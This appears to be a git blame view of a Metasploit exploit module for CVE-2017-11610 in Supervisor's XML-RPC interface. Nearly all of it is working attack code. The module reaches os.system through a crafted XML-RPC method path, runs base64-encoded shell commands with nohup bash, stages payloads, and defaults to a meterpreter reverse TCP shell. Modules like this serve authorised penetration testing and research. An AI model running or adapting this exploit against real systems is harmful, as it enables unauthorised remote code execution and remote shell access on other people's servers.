Files
metasploit-gs/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

173 lines
5.9 KiB
Ruby
Raw Normal View History

2017-08-20 18:28:21 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
2017-08-20 18:28:21 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
2017-09-23 10:51:52 -04:00
Rank = ExcellentRanking
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
2017-08-20 18:28:21 +01:00
def initialize(info={})
super(update_info(info,
2017-08-28 15:23:16 +01:00
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
2017-08-20 18:28:21 +01:00
'Description' => %q{
2017-08-30 02:05:59 +01:00
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
2017-09-23 10:51:52 -04:00
may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
2017-08-30 02:05:59 +01:00
configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
2017-08-20 18:28:21 +01:00
},
'License' => MSF_LICENSE,
2017-08-30 02:05:59 +01:00
'Author' =>
[
'Calum Hutton <c.e.hutton@gmx.com>'
2017-08-28 15:23:16 +01:00
],
2017-08-20 18:28:21 +01:00
'References' =>
[
2017-08-28 15:23:16 +01:00
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
['CVE', '2017-11610']
2017-08-20 18:28:21 +01:00
],
2017-08-28 15:23:16 +01:00
'Platform' => 'linux',
2017-08-20 18:28:21 +01:00
'Targets' =>
[
2017-08-28 15:23:16 +01:00
['3.0a1-3.3.2', {}]
2017-08-20 18:28:21 +01:00
],
2017-08-28 15:23:16 +01:00
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' =>
2017-08-20 18:28:21 +01:00
{
2017-08-28 15:23:16 +01:00
'RPORT' => 9001,
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
2017-08-20 18:28:21 +01:00
},
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2017-07-19',
2017-08-28 15:23:16 +01:00
'DefaultTarget' => 0
))
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
register_options(
[
2017-08-30 02:05:59 +01:00
Opt::RPORT(9001),
2017-08-28 15:23:16 +01:00
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
2017-08-28 18:54:49 +01:00
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
2017-08-28 15:23:16 +01:00
]
)
end
2017-08-30 02:05:59 +01:00
2018-08-09 23:34:03 -05:00
def post_auth?
true
end
2017-09-23 10:51:52 -04:00
def check_version(version)
2021-02-17 12:33:59 +00:00
if version <= Rex::Version.new('3.3.2') and version >= Rex::Version.new('3.0a1')
2017-08-28 15:23:16 +01:00
return true
else
return false
end
end
2017-08-30 02:05:59 +01:00
def check
2017-09-23 10:51:52 -04:00
print_status('Extracting version from web interface..')
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
params = {
'method' => 'GET',
'uri' => normalize_uri('/')
}
2017-08-28 18:54:49 +01:00
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
2017-08-28 15:23:16 +01:00
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
res = send_request_cgi(params)
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
if res
if res.code == 200
2017-09-23 10:51:52 -04:00
match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
2017-08-28 15:23:16 +01:00
if match
2021-02-17 12:33:59 +00:00
version = Rex::Version.new(match[1])
2017-09-23 10:51:52 -04:00
if check_version(version)
print_good("Vulnerable version found: #{version}")
2017-08-28 15:23:16 +01:00
return Exploit::CheckCode::Appears
else
2017-09-23 10:51:52 -04:00
print_bad("Version #{version} is not vulnerable")
2017-08-28 15:23:16 +01:00
return Exploit::CheckCode::Safe
end
else
2017-09-23 10:51:52 -04:00
print_bad('Could not extract version number from web interface')
2017-08-28 15:23:16 +01:00
return Exploit::CheckCode::Unknown
end
elsif res.code == 401
print_bad("Authentication failed: #{res.code} response")
return Exploit::CheckCode::Safe
else
print_bad("Unexpected HTTP code: #{res.code} response")
return Exploit::CheckCode::Unknown
end
else
2017-09-23 10:51:52 -04:00
print_bad('Error connecting to web interface')
2017-08-28 15:23:16 +01:00
return Exploit::CheckCode::Unknown
end
2017-08-30 02:05:59 +01:00
2017-08-20 18:28:21 +01:00
end
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
def execute_command(cmd, opts = {})
# XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
# Credit to the following urls for the os.system() payload
# https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
# https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
2017-08-28 15:23:16 +01:00
xml_payload = %{<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
2017-08-28 15:23:16 +01:00
<params>
<param>
<string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
2017-08-28 15:23:16 +01:00
</param>
</params>
</methodCall>}
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
# Send the XML-RPC payload via POST to the specified endpoint
endpoint_path = target_uri.path
2017-08-30 02:05:59 +01:00
print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
2017-08-28 15:23:16 +01:00
params = {
'method' => 'POST',
'uri' => normalize_uri(endpoint_path),
'ctype' => 'text/xml',
'headers' => {'Accept' => 'text/xml'},
'data' => xml_payload,
'encode_params' => false
}
2017-08-28 18:54:49 +01:00
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
2017-08-28 15:23:16 +01:00
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
end
return send_request_cgi(params, timeout=5)
2017-08-20 18:28:21 +01:00
end
def exploit
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
res = execute_cmdstager(:linemax => 800)
2017-08-30 02:05:59 +01:00
2017-08-28 15:23:16 +01:00
if res
if res.code == 401
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
elsif res.code == 404
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
else
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
end
else
2017-09-23 10:51:52 -04:00
print_good('Request returned without status code, usually indicates success. Passing to handler..')
2017-08-28 15:23:16 +01:00
handler
end
2017-08-20 18:28:21 +01:00
end
2017-08-30 02:05:59 +01:00
end